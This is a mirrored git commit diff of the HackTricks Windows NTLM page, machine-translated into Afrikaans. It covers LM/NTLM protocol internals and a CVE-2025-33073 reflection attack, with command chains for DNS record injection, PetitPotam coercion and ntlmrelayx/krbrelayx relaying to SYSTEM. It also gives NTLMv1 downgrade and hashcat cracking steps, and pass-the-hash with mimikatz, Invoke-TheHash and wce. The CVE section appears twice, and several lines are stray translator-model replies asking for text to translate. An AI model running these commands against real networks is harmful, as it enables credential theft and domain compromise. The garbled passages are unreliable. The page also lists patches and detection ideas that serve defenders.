mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/windows-hardening/ntlm/README.md'] to af
This commit is contained in:
parent
8551e1dd6b
commit
d0ceee7194
@ -2,24 +2,70 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basiese Inligting
|
||||
## NTLM & Kerberos *Reflection* via Serialized SPNs (CVE-2025-33073)
|
||||
|
||||
In omgewings waar **Windows XP en Server 2003** in werking is, word LM (Lan Manager) hashes gebruik, alhoewel dit algemeen erken word dat hierdie maklik gekompromitteer kan word. 'n Spesifieke LM hash, `AAD3B435B51404EEAAD3B435B51404EE`, dui op 'n scenario waar LM nie gebruik word nie, wat die hash vir 'n leë string verteenwoordig.
|
||||
Windows bevat verskeie versagings wat probeer om *reflection* aanvalle te voorkom waar 'n NTLM (of Kerberos) verifikasie wat van 'n gasheer afkomstig is, teruggestuur word na die **dieselfde** gasheer om SYSTEM regte te verkry.
|
||||
|
||||
Standaard is die **Kerberos** verifikasieprotokol die primêre metode wat gebruik word. NTLM (NT LAN Manager) tree in onder spesifieke omstandighede in: afwesigheid van Active Directory, nie-bestaande domein, wanfunksionering van Kerberos weens onvanpaste konfigurasie, of wanneer verbindings probeer word met 'n IP-adres eerder as 'n geldige hostname.
|
||||
Microsoft het die meeste openbare kettings gebroke met MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) en latere patches, egter **CVE-2025-33073** wys dat die beskermings steeds omseil kan word deur te misbruik hoe die **SMB-klient diens-prinsipale name (SPNs)** wat *gemarshalled* (geserialiseer) teiken-inligting bevat, afgekort word.
|
||||
|
||||
Die teenwoordigheid van die **"NTLMSSP"** kop in netwerkpakkette dui op 'n NTLM verifikasieproses.
|
||||
### TL;DR van die fout
|
||||
1. 'n Aanvaller registreer 'n **DNS A-record** waarvan die etiket 'n gemarshalled SPN kodeer – bv.
|
||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||
2. Die slagoffer word gedwing om te verifieer by daardie gasheernaam (PetitPotam, DFSCoerce, ens.).
|
||||
3. Wanneer die SMB-klient die teikenstring `cifs/srv11UWhRCAAAAA…` aan `lsasrv!LsapCheckMarshalledTargetInfo` oorhandig, verwyder die oproep na `CredUnmarshalTargetInfo` die geserialiseerde blob, wat **`cifs/srv1`** laat.
|
||||
4. `msv1_0!SspIsTargetLocalhost` (of die Kerberos ekwivalent) beskou nou die teiken as *localhost* omdat die kort gasheerdeel ooreenstem met die rekenaarnaam (`SRV1`).
|
||||
5. Gevolglik stel die bediener `NTLMSSP_NEGOTIATE_LOCAL_CALL` en inspuit **LSASS se SYSTEM toegangstoken** in die konteks (vir Kerberos word 'n SYSTEM-gemerk subsessie-sleutel geskep).
|
||||
6. Die verplasing van daardie verifikasie met `ntlmrelayx.py` **of** `krbrelayx.py` gee volle SYSTEM regte op dieselfde gasheer.
|
||||
|
||||
### Quick PoC
|
||||
```bash
|
||||
# Add malicious DNS record
|
||||
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||
-d 10.10.10.50
|
||||
|
||||
# Trigger authentication
|
||||
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||
|
||||
# Relay listener (NTLM)
|
||||
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
|
||||
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
```
|
||||
### Patch & Mitigations
|
||||
* KB-patch vir **CVE-2025-33073** voeg 'n kontrole by in `mrxsmb.sys::SmbCeCreateSrvCall` wat enige SMB-verbinding blokkeer waarvan die teiken gemarshalled inligting bevat (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||
* Handhaaf **SMB-handtekening** om refleksie te voorkom, selfs op nie-gepatchte gasheer.
|
||||
* Monitor DNS-rekords wat lyk soos `*<base64>...*` en blokkeer dwingingsvektore (PetitPotam, DFSCoerce, AuthIP...).
|
||||
|
||||
### Detection ideas
|
||||
* Netwerkvangste met `NTLMSSP_NEGOTIATE_LOCAL_CALL` waar kliënt IP ≠ bediener IP.
|
||||
* Kerberos AP-REQ wat 'n subsessie-sleutel bevat en 'n kliënt-prinsipaal gelyk aan die gasheernaam.
|
||||
* Windows Event 4624/4648 SISTEEM-aanmeldings wat onmiddellik gevolg word deur afstands-SMB-skrywe vanaf dieselfde gasheer.
|
||||
|
||||
## References
|
||||
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||
|
||||
## Basic Information
|
||||
|
||||
In omgewings waar **Windows XP en Server 2003** in werking is, word LM (Lan Manager) hashes gebruik, alhoewel dit algemeen erken word dat hierdie maklik gecompromitteer kan word. 'n Spesifieke LM-hash, `AAD3B435B51404EEAAD3B435B51404EE`, dui op 'n scenario waar LM nie gebruik word nie, wat die hash vir 'n leë string verteenwoordig.
|
||||
|
||||
Standaard is die **Kerberos** verifikasieprotokol die primêre metode wat gebruik word. NTLM (NT LAN Manager) tree in onder spesifieke omstandighede in: afwesigheid van Active Directory, nie-bestaande domein, wanfunksionering van Kerberos weens onjuiste konfigurasie, of wanneer verbindings probeer word met 'n IP-adres eerder as 'n geldige gasheernaam.
|
||||
|
||||
Die teenwoordigheid van die **"NTLMSSP"** kop in netwerkpakkette dui op 'n NTLM-verifikasieproses.
|
||||
|
||||
Ondersteuning vir die verifikasieprotokolle - LM, NTLMv1, en NTLMv2 - word gefasiliteer deur 'n spesifieke DLL geleë by `%windir%\Windows\System32\msv1\_0.dll`.
|
||||
|
||||
**Belangrike Punten**:
|
||||
**Key Points**:
|
||||
|
||||
- LM hashes is kwesbaar en 'n leë LM hash (`AAD3B435B51404EEAAD3B435B51404EE`) dui op sy nie-gebruik.
|
||||
- LM-hashes is kwesbaar en 'n leë LM-hash (`AAD3B435B51404EEAAD3B435B51404EE`) dui op sy nie-gebruik.
|
||||
- Kerberos is die standaard verifikasiemetode, met NTLM slegs onder sekere toestande gebruik.
|
||||
- NTLM verifikasiepakkette is identifiseerbaar deur die "NTLMSSP" kop.
|
||||
- LM, NTLMv1, en NTLMv2 protokolle word deur die stelsel lêer `msv1\_0.dll` ondersteun.
|
||||
- NTLM-verifikasiepakkette is identifiseerbaar deur die "NTLMSSP" kop.
|
||||
- LM, NTLMv1, en NTLMv2 protokolle word deur die stelselfil `msv1\_0.dll` ondersteun.
|
||||
|
||||
## LM, NTLMv1 en NTLMv2
|
||||
## LM, NTLMv1 and NTLMv2
|
||||
|
||||
Jy kan nagaan en konfigureer watter protokol gebruik sal word:
|
||||
|
||||
@ -29,7 +75,7 @@ Voer _secpol.msc_ uit -> Plaaslike beleide -> Sekuriteitsopsies -> Netwerksekuri
|
||||
|
||||
.png>)
|
||||
|
||||
### Registrasie
|
||||
### Registry
|
||||
|
||||
Dit sal vlak 5 stel:
|
||||
```
|
||||
@ -46,40 +92,40 @@ Mogelijke waardes:
|
||||
```
|
||||
## Basiese NTLM Domein verifikasie Skema
|
||||
|
||||
1. Die **gebruiker** voer sy **akkrediteer** in.
|
||||
2. Die kliënt masjien **stuur 'n verifikasie versoek** wat die **domeinnaam** en die **gebruikersnaam** stuur.
|
||||
3. Die **bediener** stuur die **uitdaging**.
|
||||
4. Die **kliënt enkripteer** die **uitdaging** met die hash van die wagwoord as sleutel en stuur dit as antwoord.
|
||||
5. Die **bediener stuur** na die **Domeinbeheerder** die **domeinnaam, die gebruikersnaam, die uitdaging en die antwoord**. As daar **nie** 'n Aktiewe Gids geconfigureer is of die domeinnaam die naam van die bediener is nie, word die akkrediteer **lokaal nagegaan**.
|
||||
6. Die **domeinbeheerder kyk of alles korrek is** en stuur die inligting na die bediener.
|
||||
1. Die **gebruiker** voer sy **bewyse** in
|
||||
2. Die kliënt masjien **stuur 'n verifikasie versoek** wat die **domeinnaam** en die **gebruikersnaam** stuur
|
||||
3. Die **bediener** stuur die **uitdaging**
|
||||
4. Die **kliënt enkripteer** die **uitdaging** met die hash van die wagwoord as sleutel en stuur dit as antwoord
|
||||
5. Die **bediener stuur** na die **Domeinbeheerder** die **domeinnaam, die gebruikersnaam, die uitdaging en die antwoord**. As daar **nie** 'n Aktiewe Gids geconfigureer is of die domeinnaam die naam van die bediener is nie, word die bewese **lokaal nagegaan**.
|
||||
6. Die **domeinbeheerder kyk of alles korrek is** en stuur die inligting na die bediener
|
||||
|
||||
Die **bediener** en die **Domeinbeheerder** kan 'n **Veilige Kanaal** skep via **Netlogon** bediener aangesien die Domeinbeheerder die wagwoord van die bediener ken (dit is binne die **NTDS.DIT** db).
|
||||
|
||||
### Lokale NTLM verifikasie Skema
|
||||
### Plaaslike NTLM verifikasie Skema
|
||||
|
||||
Die verifikasie is soos die een genoem **voorheen maar** die **bediener** ken die **hash van die gebruiker** wat probeer om binne die **SAM** lêer te verifieer. So, in plaas daarvan om die Domeinbeheerder te vra, sal die **bediener self kyk** of die gebruiker kan verifieer.
|
||||
Die verifikasie is soos die een genoem **voorheen maar** die **bediener** ken die **hash van die gebruiker** wat probeer om binne die **SAM** lêer te verifieer. So, in plaas daarvan om die Domeinbeheerder te vra, sal die **bediener self nagaan** of die gebruiker kan verifieer.
|
||||
|
||||
### NTLMv1 Uitdaging
|
||||
|
||||
Die **uitdaging lengte is 8 bytes** en die **antwoord is 24 bytes** lank.
|
||||
|
||||
Die **hash NT (16bytes)** is verdeel in **3 dele van 7bytes elk** (7B + 7B + (2B+0x00\*5)): die **laaste deel is met nulles gevul**. Dan, die **uitdaging** word **afgesluit** met elke deel en die **resultaat** van die afgeslote bytes word **saamgevoeg**. Totaal: 8B + 8B + 8B = 24Bytes.
|
||||
Die **hash NT (16bytes)** is verdeel in **3 dele van 7bytes elk** (7B + 7B + (2B+0x00\*5)): die **laaste deel is met nulles gevul**. Dan, die **uitdaging** word **afgesluit** met elke deel en die **resultaat** afgeslote bytes word **saamgevoeg**. Totaal: 8B + 8B + 8B = 24Bytes.
|
||||
|
||||
**Probleme**:
|
||||
|
||||
- Gebrek aan **ewekansigheid**
|
||||
- Die 3 dele kan **afgeval word** om die NT hash te vind.
|
||||
- Die 3 dele kan **afsonderlik aangeval** word om die NT hash te vind
|
||||
- **DES is kraakbaar**
|
||||
- Die 3º sleutel bestaan altyd uit **5 nulles**.
|
||||
- Gegewe die **dieselfde uitdaging** sal die **antwoord** die **dieselfde** wees. So, jy kan as 'n **uitdaging** aan die slagoffer die string "**1122334455667788**" gee en die antwoord aanval met **voorgerekende reënboogtafels**.
|
||||
- Gegewe die **dieselfde uitdaging** sal die **antwoord** **dieselfde** wees. So, jy kan as 'n **uitdaging** aan die slagoffer die string "**1122334455667788**" gee en die antwoord aanval met **voorberekende reënboogtafels**.
|
||||
|
||||
### NTLMv1 aanval
|
||||
|
||||
Tans word dit al minder algemeen om omgewings met Onbeperkte Delegasie geconfigureer te vind, maar dit beteken nie dat jy nie 'n **Druk Spooler diens** kan misbruik nie.
|
||||
Tans word dit al minder algemeen om omgewings met Onbeperkte Delegasie geconfigureer te vind, maar dit beteken nie dat jy nie 'n **Print Spooler diens** wat geconfigureer is kan **misbruik** nie.
|
||||
|
||||
Jy kan sommige akkrediteer/sessies wat jy reeds op die AD het misbruik om die **drukker te vra om te verifieer** teen 'n **gasheer onder jou beheer**. Dan, met behulp van `metasploit auxiliary/server/capture/smb` of `responder` kan jy die **verifikasie uitdaging stel na 1122334455667788**, die verifikasie poging vang, en as dit gedoen is met **NTLMv1** sal jy in staat wees om dit te **kraak**.\
|
||||
As jy `responder` gebruik, kan jy probeer om die vlag `--lm` te gebruik om te probeer om die **verifikasie** te **verlaag**.\
|
||||
Let daarop dat vir hierdie tegniek die verifikasie moet plaasvind met NTLMv1 (NTLMv2 is nie geldig nie).
|
||||
Jy kan sommige bewese/sessies wat jy reeds op die AD het misbruik om die **drukker te vra om te verifieer** teen 'n **gasheer onder jou beheer**. Dan, met behulp van `metasploit auxiliary/server/capture/smb` of `responder` kan jy die **verifikasie uitdaging stel na 1122334455667788**, die verifikasie poging vang, en as dit gedoen is met **NTLMv1** sal jy in staat wees om dit te **kraak**.\
|
||||
As jy `responder` gebruik, kan jy probeer om die vlag `--lm` te **gebruik** om te probeer om die **verifikasie** te **verlaag**.\
|
||||
_Nota dat vir hierdie tegniek die verifikasie moet uitgevoer word met NTLMv1 (NTLMv2 is nie geldig nie)._
|
||||
|
||||
Onthou dat die drukker die rekenaarrekening tydens die verifikasie sal gebruik, en rekenaarrekeninge gebruik **lange en ewekansige wagwoorde** wat jy **waarskynlik nie sal kan kraak** met algemene **woordeboeke**. Maar die **NTLMv1** verifikasie **gebruik DES** ([meer inligting hier](#ntlmv1-challenge)), so deur sommige dienste wat spesifiek toegewy is aan die kraak van DES sal jy in staat wees om dit te kraak (jy kan [https://crack.sh/](https://crack.sh) of [https://ntlmv1.com/](https://ntlmv1.com) byvoorbeeld gebruik).
|
||||
|
||||
@ -126,7 +172,7 @@ Voer hashcat uit (verspreid is die beste deur 'n hulpmiddel soos hashtopolis) aa
|
||||
```bash
|
||||
./hashcat -m 14000 -a 3 -1 charsets/DES_full.charset --hex-charset hashes.txt ?1?1?1?1?1?1?1?1
|
||||
```
|
||||
In hierdie geval weet ons die wagwoord hiervoor is wagwoord, so ons gaan bedrieg vir demonstrasiedoele.
|
||||
In hierdie geval weet ons die wagwoord hiervoor is wagwoord, so ons gaan vals speel vir demonstrasiedoeleindes:
|
||||
```bash
|
||||
python ntlm-to-des.py --ntlm b4b9b02e6f09a9bd760f388b67351e2b
|
||||
DESKEY1: b55d6d04e67926
|
||||
@ -143,13 +189,13 @@ b4b9b02e6f09a9 # this is part 1
|
||||
./hashcat-utils/src/deskey_to_ntlm.pl bcba83e6895b9d
|
||||
bd760f388b6700 # this is part 2
|
||||
```
|
||||
It seems that you haven't provided the text you want translated. Please share the relevant English text, and I'll translate it to Afrikaans for you.
|
||||
I'm sorry, but I need the specific text you want translated in order to assist you. Please provide the content you would like me to translate to Afrikaans.
|
||||
```bash
|
||||
./hashcat-utils/src/ct3_to_ntlm.bin BB23EF89F50FC595 1122334455667788
|
||||
|
||||
586c # this is the last part
|
||||
```
|
||||
I'm sorry, but I need the specific text you would like me to translate in order to assist you. Please provide the content you want translated to Afrikaans.
|
||||
Please provide the text you would like me to translate to Afrikaans.
|
||||
```bash
|
||||
NTHASH=b4b9b02e6f09a9bd760f388b6700586c
|
||||
```
|
||||
@ -159,7 +205,7 @@ Die **uitdaging lengte is 8 bytes** en **2 antwoorde word gestuur**: Een is **24
|
||||
|
||||
**Die eerste antwoord** word geskep deur te kodifiseer met **HMAC_MD5** die **string** saamgestel deur die **klient en die domein** en gebruik as **sleutel** die **hash MD4** van die **NT hash**. Dan sal die **resultaat** gebruik word as **sleutel** om te kodifiseer met **HMAC_MD5** die **uitdaging**. Hierby sal **'n klientuitdaging van 8 bytes bygevoeg word**. Totaal: 24 B.
|
||||
|
||||
Die **tweede antwoord** word geskep met behulp van **verskeie waardes** (’n nuwe klientuitdaging, ’n **tydstempel** om **herhalingsaanvalle** te vermy...)
|
||||
Die **tweede antwoord** word geskep met **verskeie waardes** (’n nuwe klientuitdaging, ’n **tydstempel** om **herhalingsaanvalle** te vermy...)
|
||||
|
||||
As jy 'n **pcap het wat 'n suksesvolle outentikasieproses vasgevang het**, kan jy hierdie gids volg om die domein, gebruikersnaam, uitdaging en antwoord te kry en probeer om die wagwoord te kraak: [https://research.801labs.org/cracking-an-ntlmv2-hash/](https://www.801labs.org/research-portal/post/cracking-an-ntlmv2-hash/)
|
||||
|
||||
@ -176,7 +222,7 @@ Jy moet 'n **instrument** gebruik wat die **NTLM outentikasie met** daardie **ha
|
||||
```bash
|
||||
Invoke-Mimikatz -Command '"sekurlsa::pth /user:username /domain:domain.tld /ntlm:NTLMhash /run:powershell.exe"'
|
||||
```
|
||||
Dit sal 'n proses begin wat behoort aan die gebruikers wat mimikatz geloods het, maar intern in LSASS is die gestoor kredensiale diegene binne die mimikatz parameters. Dan kan jy toegang tot netwerkbronne verkry asof jy daardie gebruiker was (soortgelyk aan die `runas /netonly` truuk, maar jy hoef nie die platte teks wagwoord te ken nie).
|
||||
Dit sal 'n proses begin wat behoort aan die gebruikers wat mimikatz geloods het, maar intern in LSASS is die gestoor geloofsbriewe diegene binne die mimikatz parameters. Dan kan jy toegang tot netwerkbronne verkry asof jy daardie gebruiker was (soortgelyk aan die `runas /netonly` truuk, maar jy hoef nie die platte teks wagwoord te ken nie).
|
||||
|
||||
### Pass-the-Hash van linux
|
||||
|
||||
@ -214,7 +260,7 @@ Invoke-SMBEnum -Domain dollarcorp.moneycorp.local -Username svcadmin -Hash b38ff
|
||||
```
|
||||
#### Invoke-TheHash
|
||||
|
||||
Hierdie funksie is 'n **mengsel van al die ander**. Jy kan **verskeie gasheer** deurgee, **uitsluit** sommige en die **opsie** kies wat jy wil gebruik (_SMBExec, WMIExec, SMBClient, SMBEnum_). As jy **enige** van **SMBExec** en **WMIExec** kies, maar jy **gee nie** enige _**Command**_ parameter nie, sal dit net **kontroleer** of jy **genoeg regte** het.
|
||||
Hierdie funksie is 'n **mengsel van al die ander**. Jy kan **verskeie gasheer** deurgee, **uitsluit** sommige en **kies** die **opsie** wat jy wil gebruik (_SMBExec, WMIExec, SMBClient, SMBEnum_). As jy **enige** van **SMBExec** en **WMIExec** kies, maar jy **gee nie** enige _**Command**_ parameter nie, sal dit net **kontroleer** of jy **genoeg regte** het.
|
||||
```
|
||||
Invoke-TheHash -Type WMIExec -Target 192.168.100.0/24 -TargetExclude 192.168.100.50 -Username Administ -ty h F6F38B793DB6A94BA04A52F1D3EE92F0
|
||||
```
|
||||
@ -240,13 +286,13 @@ wce.exe -s <username>:<domain>:<hash_lm>:<hash_nt>
|
||||
|
||||
## Interne Monoloog-aanval
|
||||
|
||||
Die Interne Monoloog-aanval is 'n stil geloofsbriefuittrektegniek wat 'n aanvaller in staat stel om NTLM-hashes van 'n slagoffer se masjien te onttrek **sonder om direk met die LSASS-proses te kommunikeer**. Anders as Mimikatz, wat hashes direk uit geheue lees en dikwels deur eindpuntbeveiligingsoplossings of Credential Guard geblokkeer word, maak hierdie aanval gebruik van **lokale oproepe na die NTLM-authentikasiepakket (MSV1_0) via die Security Support Provider Interface (SSPI)**. Die aanvaller **verlaag eers die NTLM-instellings** (bv. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) om te verseker dat NetNTLMv1 toegelaat word. Hulle doen dan asof hulle bestaande gebruikers tokens is wat verkry is uit lopende prosesse en aktiveer NTLM-authentikasie plaaslik om NetNTLMv1-antwoorde te genereer met behulp van 'n bekende uitdaging.
|
||||
Die Interne Monoloog-aanval is 'n stil geloofsbrief-uittreksel tegniek wat 'n aanvaller in staat stel om NTLM-hashes van 'n slagoffer se masjien te onttrek **sonder om direk met die LSASS-proses te kommunikeer**. Anders as Mimikatz, wat hashes direk uit geheue lees en dikwels deur eindpunt-sekuriteitsoplossings of Credential Guard geblokkeer word, maak hierdie aanval gebruik van **lokale oproepe na die NTLM-authentikasiepakket (MSV1_0) via die Security Support Provider Interface (SSPI)**. Die aanvaller **verlaag eers die NTLM-instellings** (bv. LMCompatibilityLevel, NTLMMinClientSec, RestrictSendingNTLMTraffic) om te verseker dat NetNTLMv1 toegelaat word. Hulle doen dan asof hulle bestaande gebruikers tokens is wat verkry is uit lopende prosesse en aktiveer NTLM-authentikasie plaaslik om NetNTLMv1-antwoorde te genereer met behulp van 'n bekende uitdaging.
|
||||
|
||||
Nadat hierdie NetNTLMv1-antwoorde vasgevang is, kan die aanvaller vinnig die oorspronklike NTLM-hashes herstel met behulp van **voorgerekende reënboogtafels**, wat verdere Pass-the-Hash-aanvalle vir laterale beweging moontlik maak. Belangrik is dat die Interne Monoloog-aanval stil bly omdat dit nie netwerkverkeer genereer, kode inspuit of direkte geheue-dumps aktiveer nie, wat dit moeiliker maak vir verdedigers om te detecteer in vergelyking met tradisionele metodes soos Mimikatz.
|
||||
|
||||
As NetNTLMv1 nie aanvaar word nie—vanweë afgedwonge sekuriteitsbeleide, kan die aanvaller dalk nie 'n NetNTLMv1-antwoord verkry nie.
|
||||
|
||||
Om hierdie geval te hanteer, is die Interne Monoloog-gereedskap opgedateer: Dit verkry dinamies 'n bediener token met behulp van `AcceptSecurityContext()` om steeds **NetNTLMv2-antwoorde te vang** as NetNTLMv1 misluk. Terwyl NetNTLMv2 baie moeiliker is om te kraak, open dit steeds 'n pad vir relay-aanvalle of offline brute-force in beperkte gevalle.
|
||||
Om hierdie geval te hanteer, is die Interne Monoloog-gereedskap opgedateer: Dit verkry dinamies 'n bediener-token met behulp van `AcceptSecurityContext()` om steeds **NetNTLMv2-antwoorde te vang** as NetNTLMv1 misluk. Terwyl NetNTLMv2 baie moeiliker is om te kraak, maak dit steeds 'n pad oop vir relay-aanvalle of offline brute-force in beperkte gevalle.
|
||||
|
||||
Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue](https://github.com/eladshamir/Internal-Monologue)**.
|
||||
|
||||
@ -262,4 +308,50 @@ Die PoC kan gevind word in **[https://github.com/eladshamir/Internal-Monologue](
|
||||
|
||||
**Jy kan gebruik maak van** [**https://github.com/mlgualtieri/NTLMRawUnHide**](https://github.com/mlgualtieri/NTLMRawUnHide)
|
||||
|
||||
## NTLM & Kerberos *Refleksie* via Serialized SPNs (CVE-2025-33073)
|
||||
|
||||
Windows bevat verskeie versagings wat probeer om *refleksie* aanvalle te voorkom waar 'n NTLM (of Kerberos) authentikasie wat van 'n gasheer afkomstig is, teruggestuur word na die **dieselfde** gasheer om SYSTEM-regte te verkry.
|
||||
|
||||
Microsoft het die meeste openbare kettings gebroke met MS08-068 (SMB→SMB), MS09-013 (HTTP→SMB), MS15-076 (DCOM→DCOM) en latere patches, egter **CVE-2025-33073** toon dat die beskermings steeds omseil kan word deur te misbruik hoe die **SMB-klient diens-prinsipale name (SPNs)** wat *gemarshalled* (geserialiseerde) teiken-inligting bevat, afknot.
|
||||
|
||||
### TL;DR van die fout
|
||||
1. 'n Aanvaller registreer 'n **DNS A-record** waarvan die etiket 'n gemarshalled SPN kodeer – bv.
|
||||
`srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA → 10.10.10.50`
|
||||
2. Die slagoffer word gedwing om by daardie hostname te autentiseer (PetitPotam, DFSCoerce, ens.).
|
||||
3. Wanneer die SMB-klient die teiken-string `cifs/srv11UWhRCAAAAA…` aan `lsasrv!LsapCheckMarshalledTargetInfo` oorhandig, verwyder die oproep na `CredUnmarshalTargetInfo` die geserialiseerde blob, wat **`cifs/srv1`** laat.
|
||||
4. `msv1_0!SspIsTargetLocalhost` (of die Kerberos ekwivalent) beskou nou die teiken as *localhost* omdat die kort gasheerdeel ooreenstem met die rekenaarnaam (`SRV1`).
|
||||
5. Gevolglik stel die bediener `NTLMSSP_NEGOTIATE_LOCAL_CALL` in en inspuit **LSASS se SYSTEM-toegang-token** in die konteks (vir Kerberos word 'n SYSTEM-gemerk subsessie-sleutel geskep).
|
||||
6. Die oordrag van daardie authentikasie met `ntlmrelayx.py` **of** `krbrelayx.py` gee volle SYSTEM-regte op dieselfde gasheer.
|
||||
|
||||
### Vinnige PoC
|
||||
```bash
|
||||
# Add malicious DNS record
|
||||
dnstool.py -u 'DOMAIN\\user' -p 'pass' 10.10.10.1 \
|
||||
-a add -r srv11UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA \
|
||||
-d 10.10.10.50
|
||||
|
||||
# Trigger authentication
|
||||
PetitPotam.py -u user -p pass -d DOMAIN \
|
||||
srv11UWhRCAAAAAAAAAAAAAAAAA… TARGET.DOMAIN.LOCAL
|
||||
|
||||
# Relay listener (NTLM)
|
||||
ntlmrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
|
||||
# Relay listener (Kerberos) – remove NTLM mechType first
|
||||
krbrelayx.py -t TARGET.DOMAIN.LOCAL -smb2support
|
||||
```
|
||||
### Patch & Mitigations
|
||||
* KB-patch vir **CVE-2025-33073** voeg 'n kontrole by in `mrxsmb.sys::SmbCeCreateSrvCall` wat enige SMB-verbinding blokkeer waarvan die teiken gemarshalleerde inligting bevat (`CredUnmarshalTargetInfo` ≠ `STATUS_INVALID_PARAMETER`).
|
||||
* Handhaaf **SMB-handtekening** om refleksie te voorkom, selfs op nie-gepatchte gasheer.
|
||||
* Monitor DNS-rekords wat lyk soos `*<base64>...*` en blokkeer dwingingsvektore (PetitPotam, DFSCoerce, AuthIP...).
|
||||
|
||||
### Detection ideas
|
||||
* Netwerkvangste met `NTLMSSP_NEGOTIATE_LOCAL_CALL` waar kliënt IP ≠ bediener IP.
|
||||
* Kerberos AP-REQ wat 'n subsessie-sleutel bevat en 'n kliënt-prinsipaal gelyk aan die gasheernaam.
|
||||
* Windows Event 4624/4648 SISTEEM-aanmeldings wat onmiddellik gevolg word deur afstand SMB-skrywe vanaf dieselfde gasheer.
|
||||
|
||||
## References
|
||||
* [Synacktiv – NTLM Reflection is Dead, Long Live NTLM Reflection!](https://www.synacktiv.com/en/publications/la-reflexion-ntlm-est-morte-vive-la-reflexion-ntlm-analyse-approfondie-de-la-cve-2025.html)
|
||||
* [MSRC – CVE-2025-33073](https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-33073)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Loading…
x
Reference in New Issue
Block a user